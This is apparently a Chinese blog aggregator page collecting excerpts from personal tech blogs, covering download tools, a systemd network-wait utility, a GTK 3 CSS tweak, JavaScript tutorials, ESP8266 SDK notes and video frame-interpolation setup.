Pro Git

Jixun Moe's avatar

动漫花园 (dmhy.org) - 索引页批量复制磁链

这几天在内网的一个小机器部署了 Aria 2 后台,然后就想着扔一些东西进去。

然而这网站缺少批量下载功能,于是糊了个简单的脚本来实现。

安装:Greasy Fork

神楽坂伊織's avatar

俺说游戏EP07:我们的光环!(2)

暌违两个月的俺说游戏终于回来了!今天还是继续上期的话题,接着聊聊光环系列的更多作品和我们的光环之夜!
依云's avatar

放弃 you-get,转投 youtube-dl

本文来自依云's Blog,转载请注明。

you-get 是一个视频下载工具。我于七年零一周前(2012年9月7日)在 AUR 打包并维护其 git 版本。当时还是叫 python-you-get-git,后来根据 Arch 官方的推荐,与语言没什么关系的软件不带语言前缀,改名为 you-get-git

youtube-dl 是另一个差不多同时期出现的视频下载工具,一开始主要针对 YouTube 等跨国网站。

选择 you-get 一部分原因是当时它对国内网站的支持更好,另一方面也是支持国产。但是今天,我决定放弃 you-get 了。

五年来,我一直是支持 you-get 的。也尝试过向其贡献代码。目前已经有29个提交被合并,排名第五位。基本上都是一些很小的修改,比如编码问题、未回收的僵尸进程、标题的反转义、ffmpeg 命令的特殊字符转义、支持 python -m 调用、视频链接的解析更新和扩充、进度条的修正和优化,等等。

其实这些年来,我一直想做更多事:

  • 可选地使用 requests 库,以提高解析速度,改善用户体验
  • 支持使用 aria2c 下载视频链接
  • 支持网易云课堂的更高清晰度的未内嵌字幕的视频(pr#1002
  • 解析更准确的信息
  • 一些其它网站的解析器(比如 bilibili 的 bangumi.bilibili.com 子域)

但是,其中很多都没能完成。勉强完成的也很奇怪:明明是针对网易云课堂的解析,我还非得关心网易云音乐。一直以来,我对 you-get 的修改都是事倍功半。我也曾尝试过更深入的修改,但是牵一发而动全身,往往要改就得改很大很大一部分代码,然后完全没有办法保证其正确性。就像今天的事情一样。

我花了数小时的时间,牺牲睡眠,把命令行选项解析由 getopt 改成了 argparse(pr#2260)。促使我做此修改的原因是,我想下载 bilibili 一整个播放列表的视频。我记得 you-get 有下载整个播放列表的功能。但是我读了好几遍 help 信息,都没有找到那个选项。我记错了吗?阅读源码之后,我终于找到了那个选项。同时,我也看到了在 C 和 bash 代码里经常看到的,一长串 if/else 来解析命令行选项。翻了好几屏。

当一个相对独立的代码片断翻屏时,bug 数量会骤增。

曾经在公司里遇到过一个 case,非常直接地证明这句论断是有多么正确。那个函数刚好超过一屏数行,而在第二屏的那部分代码,有个「}」和「return」的顺序写反了。我也是拿 Vim 的匹配括号跳转功能才发现的。

当然了,不管怎样的代码,不动它是不会出新问题的。然而我动了它。回报我的是两个局部变量名忘记改了:pr#2346pr#2355

这种问题在 nvchecker 重构以支持 aiohttp 时并没有发生。为什么呢?我们有测试。如此明显的问题,只要 cover 了必然会发现。所以我可以放心大胆地重构。

you-get 呢?you-get 也有测试。我在提交 pull requests 之后有个习惯:盯着未完成的测试,直到它变绿。如果红了,赶紧看看是不是自己代码的问题,是就赶紧修掉。一些项目(比如 Tornado)的测试本地跑起来要配置环境、装不少东西,太麻烦了,所以我习惯先提了 pr,然后等 Travis-CI 的结果。可这次,测试过了。但是有两个重要的功能却并不能正常工作。

其实呢,对于这种简单的错误,通常 linter 会告诉我的。我有装 neomake,全面支持各种 linter,用起来十分惬意。但 pylint……就像 jslint 一样,我很讨厌它们。因为它们不仅检查潜在的问题,同时还检查代码风格。而代码风格这事是每个项目单独配置的,而不是开发者自己配置好,然后让自己参与的所有开源项目都遵守。不过今天我也终于知道了另一个 Python linter——pyflakes 很对我的味口:只管问题,不管风格。

总之呢,由于各种原因,重写中出了这么两个直接立刻让用户不能用的 bug。很抱歉。一般来说,出错了就改呗。更深入一些,分析一下为什么会出现这种错误,今后怎么避免同样的错误两次出现(早年向 Tornado 提交代码时,Ben Darnell 一个简单的行为教会了我一件事:修了 bug 就写个对应的测试)。但是 you-get 的协作者 rosynirvana 不按惯例来,反而要求放弃此修改。如果就如此也就算了,后续讨论中我意识到了一个真相——为什么我在 you-get 上的工作如此困难?

The best part of you-get is that it's not so pythonic so those who only know js or as3 can take part in, moving from the universal getopt to a py-domain-specific library cannot be a nice idea.

source

What library nowaday pythonists love do not really matter here because those one know js and as3 can contribute even more in this project.

source

因为 you-get 根本就是反 Pythoner 的!作为一个 Python 项目,you-get 想要吸引的是 JavaScript 和 ActionScript 3 开发者!

我很震惊。

  • 作为 Python 开发者,我已被他们刻意排斥在外。
  • 作为 JavaScript 开发者,我还是觉得 C 好难写,还是 pythonic 的代码比较好维护啊。
  • 作为 C 开发者,我倒是对这种长达数屏的作用域见怪不怪了。不过重复的逻辑,咱一般会用宏之类的手段给整成声明式的啊。

所以,我的努力注定不会有多少效果。

然后,我看了一眼 youtube-dl。其实就瞟了一眼,也没看出太多东西来,但是

  • 按 URL 进行正则匹配的,网易云音乐和网易云课堂可以分开处理了!
  • 解析器以 class 表达,有组织有纪律!不用用 Python 的语法写 C 了!

我 disown 了 AUR 和 [archlinuxcn] 里的 you-get-git 包。关闭了未完成的 issue 和 feature pr。等修复 argparse 引入的错误的 pr 被合并(不管是只修正问题还是退回到 getopt),事一了,我就删掉仓库,只保留网易云课堂的高清视频解析代码(花了我一整天的)。已安装的 you-get 暂时保留,但首选 youtube-dl,遇到问题有时间就去修一下。已经投入到 you-get 的时间是沉没成本,不必留恋。

Jixun Moe's avatar

RabiRibi v1.85 - 简易修改器更新进展 1

作者现在好像开了编译器优化,很多代码被打乱了 _(:3__

v1.85+ 支持可能要等周末慢慢磨了。

目前特征码定位是做好了,但是很多依附游戏自身功能的代码一旦执行就崩溃。


▲ 触碰敌人后,游戏崩溃

依云's avatar

等连上互联网之后再来找我吧

本文来自依云's Blog,转载请注明。

最近公司弄了 Wi-Fi 登录。就是那个叫 captive portal 的东西。

Android 早就会在连接 Wi-Fi 时检测网络是不是要登录了,为此 Google 弄了个 /generate_204 的 URL。小米、高通、USTC、v2ex 也都提供了这个东西,方便广大中国大陆 Android 用户使用。(我发现我的 Android 使用的是高通的地址,没有用 Google 的。)

但我使用的 Arch Linux 自行开发的 netctl 网络管理工具没这种功能。火狐倒是不知道什么时候加上了,不过使用的地址 http://detectportal.firefox.com/success.txt 是返回 200 的。

所以我启动火狐就可以看到要登录的提示了。然而问题是,其它程序不知道要登录啊。像 offlineimap、openvpn、rescuetime 这种还好,会自己重试。可每次网络需要登录的时候 dcron 就会给我发一堆邮件告诉我我的 git pull 都失败了……当然还有我老早就注意到的 pkgstats,经常会因为启动过早而无法发送统计数据。

所以呢,得想个办法,等连上互联网之后再跑那些脚本啊服务什么的。

检测是不是连好了很简单,不断尝试就可以了。但我需要一个系统级的 Condition 对象来通知等待方可以继续了。然而我只知道 Linux 有提供信号量。难道要自己弄共享内存来用么?

#archlinux-cn 问了一下,farseerfc 说试试命名管道。我想了想,还真可以。只有读端的时候进程就会阻塞,一旦有写端就能成功打开了。当然没有读端的打开写端会打不开,不过没关系,反正这进程也不能退出,得一直拿着这个文件描述符。

没想到很少用到的命名管道有意想不到的用法呢。我以前还为了不阻塞而专门写了篇文章呢。

于是负责检测网络连通的 check-online 和等待网络连好的 wait-online 都写好了。

check-online 应当是个服务。那就交给 systemd 吧。然后……systemd 不是有个 network-online.target 么?正好可以让 check-online 来达成这个目标呢,多合适呀。

于是服务写好了。测试了几天,大成功!不仅 wait-online 很好地工作了,而且我发现 openvpn 和 pkgstats 自动排到 network-online.target 后边去了。nginx 的 OSCP staple 经常因为 DNS 失败而无法成功,我也可以在联好网之后去 reload 一下它了。(不是强依赖,我可不希望连不上网的时候我本地的 wiki 也访问不了。)

整个项目就叫作 wait-online,在 GitHub 上,欢迎送小星星哦~Arch Linux 包可以从 [archlinuxcn] 仓库 安装 wait-online-git 包。

liwanglin12's avatar

自建邮件服务小记

使用 mailcow-dockerized 项目搭建自己的邮件服务器
青色旋律's avatar

JavaScript: 从入门到放弃 | 第三讲: 条件和循环语句

大家好~经过漫长的等待,青色旋律终于决定继续填 JavaScript 教程的大坑了。上次的 第二讲 之后过了这么长 时间,相信大家都差不多已经放弃了 JS 吧?如果还没有的话,这么长的时间,上次的 作业 做完了吗? 总之,请各位先提交作业,然后请继续看这次的内容吧。

JS 的控制语句本身并没有太多难点,和 C 语言一系列的很像。如果各位之前没有学习过 编程的话,可能会需要一点时间理解一下语句执行机制和控制流。但如果已经学习过的话, 应该只需要熟悉下语法即可。 ES2015 (ES6) 以来, JavaScript 也加入了一些新的语句和语法,比如一个新的循环语法,也可以适当 熟悉一下。

大家,和青色旋律一起继续愉快的 JavaScript 旅途吧~

(此文经过了彻底重写,和之前学习小组的讨论记录完全不同,看过讨论记录的建议重新 读一次本文,相信一定会有收获。这次的各语句介绍更详细,且增加了 ES2015 等内容。)

青色旋律's avatar

JavaScript: 从入门到放弃 | 第二讲: 数组、对象和其他类型

大家好~青色旋律又和大家又见面了。这一次带来的是 JavaScript 教程的第二篇。嗯, 经过 第一次的讲解 ,相信已经有不少人放弃了 JS. 这一次为大家带来的是 JS 各种类型的讲解,可能会更加困难呢,希望大家做好准备~

JS 的类型机制一直以来都被人认为是最坑的几个领域之一。这次的内容是数组、对象和其他 类型,并着重介绍 JavaScript 与其他语言不同的地方,讲解语言规范的行为和规避误区。 假如各位已经学过了其他语言,可以放心阅读。如果没有学过的话,可能需要自己适当进行补充。

不过在此之前,同学们请把 上次的作业 交上来~这次会首先讲解上次的作业。大家,和青色旋律一起继续愉快的 JavaScript 旅途吧~

(此文经过了彻底重写,和之前学习小组的讨论记录完全不同,看过讨论记录的建议重新 读一次本文,相信一定会有收获。主要加入了类型的详细说明和 ES2015 新特性。)

青色旋律's avatar

JavaScript: 从入门到放弃 | 第一讲: 变量、值和类型

JavaScript 一直以来都被认为是最适合做网页的语言,同时也是公认坑第二多的语言。 (什么?坑第一多的语言是哪家?这还用问吗?)

无论您有多努力,总有一天您必定会放弃 JS. 当然,如果您足够努力的话,也许可以坚持 到 JS 语言废弃也说不定~

好了,负能量就到这里吧,如果您准备好了,那么就和青色旋律一起开始愉快的 JavaScript 旅途吧?

(此文根据之前JS学习小组的讨论进行整理,类似讨论笔记。)

依云's avatar

改了一下 GTK 3 的默认主题

本文来自依云's Blog,转载请注明。

最近开始用 Firefox nightly 了。它使用 GTK 3,于是对 GTK 3 主题的不满也逐渐表现出来了。

首先是选中的文本,以及菜单项。默认的那个蓝色太深了,我还是更喜欢 GTK 2 mist 主题那个浅蓝色。

然后,我是使用亮色主题的,黑黑的 tooltip 提示框太违和。而且边距那么大,多浪费空间啊。改成 GTK 2 时代那种简单的样子好了。

最后,那个又细又黑的滚动条好讨厌。改掉改掉!

最终效果图(好不容易才把这么多东西截到一张图里喵):

~/.config/gtk-3.0/gtk.css 代码:

/* For Adwaita {{{1
 */
/* scrollbars {{{2
 */
scrollbar {
  border-radius: 0;
  background-color: #eaeaea;
}
scrollbar slider {
  background-color: #bfbfbf;
  border-color: transparent;
  border-width: 4px;
  min-height: 10px;
  min-width: 10px;
  border-radius: 0;
}
scrollbar slider:hover, scrollbar slider:active {
  background-color: #bfbfbf;
}
/* tooltip {{{2
 */
tooltip {
  border: 1px solid #808080;
  background-color: rgba(254,254,228,0.9);
  border-radius: 0;
  padding: 0;
}

tooltip * {
  color: #000;
  padding: 0;
}
/* others {{{2
 */
*:selected, menuitem:hover {
  background-color: #d6e9f8;
  color: currentColor;
}

/* Vim modeline {{{1
 * vim:se fdm=marker:
 */
mmiaow's avatar

Day 10564 使用Photoshop将PDF转换为抗锯齿JPG

  由于工作原因,需要将手头的一批文字已经转换成轮廓的PDF文件转换为JPG图像。Adobe Acrobat支持直接将PDF文件另存为JPG图片,但由于某些不得而知的原因,转换出来的JPG图像惨不忍睹。

  如上图所示:上图为PDF在Acrobat或Reader中直接显示的效果,而下图为Acrobat导出的JPG,可以看到文字轮廓的锯齿十分严重,已经达到无法装作看不见的地步。

  在网上搜索一通,发现这个问题居然是个老大难:有人在2009年在Adobe官网提问,一直到8年后的今天都没有得到可用的答复;有的人说导出为PNG或TIFF格式,并提高导出时的精度,经实验并没有什么帮助;还有人说通过第三方在线服务进行转换,结果因为这个PDF文件太大(>100M),各种服务要么不接受,要么要我开付费账号,遂放弃。

经过实验,通过Photoshop打开PDF,并配合自定义的保存动作,通过批处理可以一定程度上解决这个问题,具体的处理方法如下(实验环境为Adobe Photoshop CS6):

  1. 创建『保存』动作(该步骤只需进行一次):
    • 新建一张图片,并将其填充成任意底色(该图片仅用于录制动作,稍后将丢弃)。
    • 在Photoshop中调出『动作』面板,新建一个动作,名称任意(建议设置为『保存JPEG』等易于辨认的名称,因为接下来批处理时还要选择它),此时Photoshop会开始录制动作。
    • 将一开始新建的图片执行一次『保存』动作保存为JPEG文件,文件路径及文件名随意,重点是在接下来的『JPEG选项』对话框中,设置最终批处理时要使用的保存选项,如:品质、格式选项等。
    • 按下『动作』面板上的『停止播放/记录』按钮,结束动作的录制。
  2. 导入PDF:打开要处理的PDF文件,此时将弹出『导入PDF』对话框,在该对话框中选择要导出的页面,并配置裁剪边界、分辨率等参数,然后点击『确定』。如果文件很大,导入过程会很慢,请等待Photoshop打开所有的页面。
  3. 批处理:
    • 点击文件—自动—『批处理』命令,在『播放』中选择之前创建的『保存JPEG』动作。
    • 『源』设置为『打开的文件』。
    • 『目标』设置为文件夹,并通过『选择(H)…』按钮选择保存的目标文件夹。
    • 勾选『覆盖动作中的“存储为”命令』。
    • 在『文件命名』中可以设置导出文件的命名方式及起始序列号。
    • 最后单击『确定』,文件将被自动依次保存到所选择的文件夹中。
  4. 后处理
    • 导出的文件可能顺序是颠倒的,可使用XnView、AcdSee等工具进行批量重命名。
Yeechan Lu's avatar

我的浏览器地址栏中的 A – Z(2017 秋)

前略,天国的 2017 酱。时光荏苒,又是半年过去。从镇江搬到上海,从学校进入公司,从淋了馄饨汤以至于两三年断电时间不超过二十分钟的 MacBookAir6,2 换成了崭新的 MacBookPro14,2,从镇江白天联通夜里电信的校园网变成了 24 小时的镇江移动、又变成了传说中的魔都电信。遇见了武汉,走过了西安,滑过了绍兴。即使如此,最近常用的浏览器仍然是 Google Chrome Canary (macOS & Windows)。

  • Airtable.com
  • Binux.github.io/yaaw/demo/
  • Cs.chromium.org
  • Dearti.me
  • E-hentai.org
  • Fastmail.fm
  • Git.orzfly.com
  • Hub.docker.com/r/gitlab/gitlab-ce/tags/
  • Ip.cn
  • Jd.com
  • Kuaidi100.com
  • Lab.hackplan.com
  • My.zerotier.com
  • Namesilo.com
  • Orzfly.com
  • Pan.baidu.com
  • Qcloud.com
  • Rm.66rpg.com
  • Strongpasswordgenerator.com
  • Taobao.com
  • U2.dmhy.org
  • V2ex.com
  • Weibo.com
  • Xiaomi.com
  • Yanfly.moe
  • Zerotier.com
imi415's avatar

关于ESP8266的SDK……

从Espressif(乐鑫)的GitHub主页clone了ESP8266的SDK,多数情况下master分支是无法正常工作的……
存在下列问题:
1. lx106-hal库不包含在repo内( -lhal Link 不能)(2018-01-06更新)
2. 驱动库编译不能(各种玄学报错,多数是 undefined symbol )(2018-01-06更新)
3. 生成binary文件的时候会报错( Arch/Fedora 等 python -> python3 发行版专享错误)

解决方案:
1. 从 tommie/lx106-hal clone HAL API 库,按照文档编译生成 libhal.a 后复制到 $SDK_PATH/lib 下。
2. 无解。 driver_lib 源代码与 SDK 的 API 版本不匹配,清真操作失败,请使用lib目录内提供的libdriver.a 。
3. 修改 $SDK_PATH/Makefile 中与 $SDK_PATH/tools/gen_appbin.py 所有相关项的 @python@python2

2017-12-25更新:
a. 编译驱动库失败原因是缺少hal相关的头文件,复制include到toolchain目录即可,或使用esp-open-sdk。但是链接驱动库时依然存在undefined symbol。
b. 现在有了一个更开放(deblob了一些开源组件,包括FreeRTOS,LwIP,mbedTLS等)的SDK,但是某些部分存在问题(无法进入light sleep模式等),值得尝试。地址在这里:SuperHouse/esp-open-rtos

2018-01-06更新:
a. 官方SDK更新,驱动库现在可以正常编译了,但移除了WiFi-Mesh支持。
b. 使用官方帐号fork的 ct-ng 编译toolchain会自带HAL库(GCC 4.8)。


おまけ

  1. 他提供的lib经常有内部的串口打印(不会特别多),如不想看到他就换个串口,或者交换TX/RX(官方做法)。
  2. RTOS SDK 的API不完整,无法使用Task列出相关函数(应该是保护专有代码用),但可列出Task总数( Station 模式下大概7个左右)。
  3. 26MHz 晶振对应的初始化串口分频为 74880 baud, Linux 下面就别折腾了,常用应用很难让他正确显示。
  4. 新版的 esptool 下载默认启用压缩传输,速度有大概20%的提升。
  5. WiFi 不见了的时候他的内部 Task 会反复尝试重连,设备不会进入 Light Sleep 等低功耗模式。需在用户代码解决。
  6. 不管选了什么晶振频率, esptool 都会正确下载。
  7. 不要被Datasheet骗了,除了 SPI 和 UART 之外的外设都是软件( GPIO Bitbanging )实现的。
  8. 接上条,所以任何没被占的 GPIO 口都可以被配置为 I2C ,都可以用的……
  9. 多数情况下板载 CP2102 的开发板都可以处理下载时的 GPIO 下拉,所以不用手动拉下去。
  10. 接上条,其他的模块都必须正确设置 GPIO0/2/15 。
  11. 他的 gen_misc.sh 本质上是设定 Makefile 参数,稍作修改可实现一键编译下载。
  12. 内置 FreeRTOS 的调度器在 user_init()之前已经启动,如需要 Task 启动即 block 请使用奇技淫巧。
  13. SPI 硬件只支持 Master 模式,想 Slave 的请移步 GPIO Bitbanging SPI。
  14. 可以 OD 输出,重复一遍,可以 OD 输出……
  15. CPU 发热/功耗不大,射频大……
  16. 接上条,不要尝试用其他 MCU 的 GPIO 给他供电,尽管有些模块长得很小巧……
  17. esp-open-rtos提供了非常多的example,涵盖驱动到无线的各个部分,参见examples目录。
  18. 接上条,还有很多外设硬件库。
  19. ……如果想到会在下面补充。
SgDylan's avatar

在 PotPlayer 中使用 VapourSynth 加载 SVP4

SVP 是很棒的视频插帧软件。SVP 看片爽过吸大麻(大雾)
但是一直以来这东西都是通过 ffdshow raw filter 加载 AviSynth 脚本的方式介入播放器作用的。
从某个版本开始,SVP4 开始支持 VapourSynth 加载,
但是官方的教程还没有跟进,所以就稍微说一下吧。
需要注意的是,这个功能需要 SVP4 Pro,使用 Free 版本的用户请买一份 Pro 先。
顺便,感谢字幕组压片dalao @hoshinokun 的帮助。

实际步骤很简单

第一步:
打开 SVP4 的 所有设置 ,找到 potplayer 的属性,
nativeprefer_avisynth 分别改成 truefalse
需要注意的是,你看到的界面里是没有 prefer_avisynth 属性的。
需要设定好 native 属性后,关闭播放器及 SVP4,再重开 SVP4 才看得到。

第二步:
SVP 4\mpv64 下的 VapourSynth.dll 拷贝到 PotPlayer 的安装目录下。
需要注意的是,如果你本来就安装有 VapourSynth,
请不要把 svpflow 的两个 dll 放在 VapourSynth\plugins64 文件夹。

第三步:
右键 PotPlayer 窗体,戳中 视频 -> VapourSynth -> 使用 VapourSynth

然后就可以去看视频了~ 理论上会有更低的资源消耗
PS. SVP 日志会提示 Playback [45bd34d1]: frame transformations are disabled in this video player,咱也不知道为何,先不管吧。

SgDylan's avatar

在视频处理中使用SVP4

SVP 是一个不错的视频插帧工具,可以通过详尽的参数设定处理出适合自己的高帧率视频。
目前,SVP 的主要版本是 SVP4。
本次主要记录的是使用 SVP4 配合视频压制工具制作高帧率视频的过程。

SgDylan's avatar

使用 ESP8266 搭建 IoT 节点

刚好要买 ARM 板子,就顺手一并买了一块传说中的廉价 WiFi 开发板——使用 ESP8266 的 NodeMCU 。
那么就来说说这块据说性能强大、价格低廉,且可以写脚本语言的开发板。

SgDylan's avatar

一种阻碍DPI检测上网设备数量的方法

背景
学校最近把三家运营商都并入校园网了,使用一套名为深澜的系统对绑定不同运营商的用户自动加载不同的路由实现网络流量走不同的 ISP 出口。同时,大概是为了更大地盈利,加入了 DPI 和缓存服务器,并同时屏蔽了外部网络的 53 端口。
至此,接入校园网的用户无法使用默认使用 53 端口的 DNS(TCP/UDP),同时只允许接入三台上网设备。

Dimpurr's avatar

再见高中,以及你好大学。

现在我正坐在北邮宏福校区的软院学二宿舍楼,久违的码一篇博客文章。那么,就让我从高考结束那一天,一直写到大学报到开始这一天吧。写写这看起来没必要写在同一篇文章里的,跨度巨大的两件事,以及夹在其中的,如同以往的小学毕业、初中毕业一样不普通,而更长、意义更加特别的一个高中毕业暑假。

本文来自 钉子の次元 - Dimpurr - 千里之行,始於足下。 ,原文地址 再见高中,以及你好大学。

via these people and places